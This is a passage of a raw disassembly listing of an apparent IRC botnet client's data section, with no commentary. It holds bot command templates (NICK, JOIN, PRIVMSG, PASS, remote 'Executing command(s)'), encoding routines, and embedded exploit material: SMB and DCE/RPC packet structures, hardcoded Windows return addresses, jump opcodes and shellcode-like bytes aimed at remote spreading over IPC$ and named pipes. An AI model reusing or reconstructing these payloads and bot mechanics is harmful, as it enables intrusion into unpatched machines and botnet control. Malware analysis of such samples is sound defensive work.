sub_40A9CF+14B2r align 10h dword_4199B0 dd 952EF8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 22F78h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 59D83703h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 1197E8h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2AEC3778h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 22DB0h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 155E78h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 135A78h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) aModeS db 'MODE %s',0 ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 121930h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 0D0EBFCFDh ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 90F030h ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 29FB0h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 58EE830h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 25570h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 969E58h ; DATA XREF: sub_40A9CF+114Cr align 10h aPartS db 'PART %s',0 ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 0FF778h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0FB288h ; DATA XREF: sub_40A9CF+10B0r align 10h aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... align 4 dword_419ADC dd 12A488h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 55D1DB0h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 85A058h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 988A30h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 53005939h ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2AD87238h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 903F4F39h ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 3F53B78h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1054F8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 2AC15529h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 90DB78h ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 27B78h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0F669DEC8h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 51AF03CEh ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 560C8BD9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 125EC8h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23B2DEC8h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 3E3DEC8h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2AC19078h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 3D18h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 25CB99D8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 26F91BF8h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 26F7D4F8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 0BA3DCE82h ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 0BA3E0C3Ah ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 27740A05h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 3F2F239h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 12E5F8h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 11709839h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 24EBDF78h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 1274D8h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 119530h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 5070h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 9Ah, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h ; DATA XREF: sub_40A9CF+790o dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0) dword_419DB0 dd 4CFC788h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 225CC0D9h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 16C4931h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh ; DATA XREF: sub_40A9CF+534o dd 87F6CDABh, 2 dup(0) dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: sub_40A9CF+437o dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h dd 0BDB1F9BBh, 2 dup(0) dword_419E48 dd 21CC8h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 3F1EAF9h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 3EDD4F9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 242660F8h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 2B7260F8h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 8EB758h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 473EDB0h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) aNickS db 'NICK %s',0 ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 1685E8h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3C1A6B1h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: .text:0040C9C4o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: .text:0040C96Co ; .text:0040C9F1o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA_0: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o aMessage db 'message ',0 ; DATA XREF: sub_40D53F:loc_40D629o align 4 dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 dd 5C28F5C3h, 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 dd 5C28F5C3h, 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 aAjAj db '!^J!^J',0 align 4 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 dd 2 dup(7FFDE0CCh), 0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 aC1234561111111: unicode 0, <\C$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h a__ db 0Dh,0Ah ; DATA XREF: .text:004106A2o ; .text:00410B61o db '\_/.',0 align 10h dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: .text:00410658o dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: .text:004107CAo dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: .text:004107F6o dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: .text:00410ABEo dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 dword_41A894 dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFh ; DATA XREF: .text:0041079Co dword_41A8A0 dd 530458Bh, 0FFFFFB24h, 0E0FFh ; DATA XREF: .text:0041072Eo dword_41A8AC dd 19EB10EBh, 0 ; DATA XREF: .text:0041084Bo dword_41A8B4 dd 0FFFF04EBh, 0FFFFh ; DATA XREF: .text:00410924o dword_41A8BC dd 4EB04EBh, 0 ; DATA XREF: .text:00410979o dword_41A8C4 dd 0FFFF04EBh, 0FFFFh ; DATA XREF: .text:004109CEo aA: ; DATA XREF: .text:00410A92o unicode 0, <\A>,0 align 8 dword_41A8D8 dd 77F33723h ; DATA XREF: .text:004108A3o dword_41A8DC dd 7FFDE0EBh ; DATA XREF: .text:004108CFo dword_41A8E0 dd 18759Fh ; DATA XREF: .text:00410877o dword_41A8E4 dd 1001C59h ; DATA XREF: .text:00410786o dword_41A8E8 dd 1B0B0Bh ; DATA XREF: .text:0041075Ao dword_41A8EC dd 6EBh ; DATA XREF: .text:00410770o dword_41A8F0 dd 0F4EBh, 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:00410744o dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 2 dup(0) dd 1CEC8166h, 0E4FF07h, 1004600h, 7515123Ch, 751C123Ch dd 42B68ABAh, 42D01E50h, 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 aEu4 db 1Bh,'¥î4',0 align 4 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:00410BB4o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00410BF4o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00410C34o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: .text:00410C8Eo dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: .text:00410CCBo dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00410D0Bo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:00410D68o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: .text:00410E19o dd 0D7h, 1, 0 dd 1, 0 dd 0CBh, 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:00410E9Ao dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 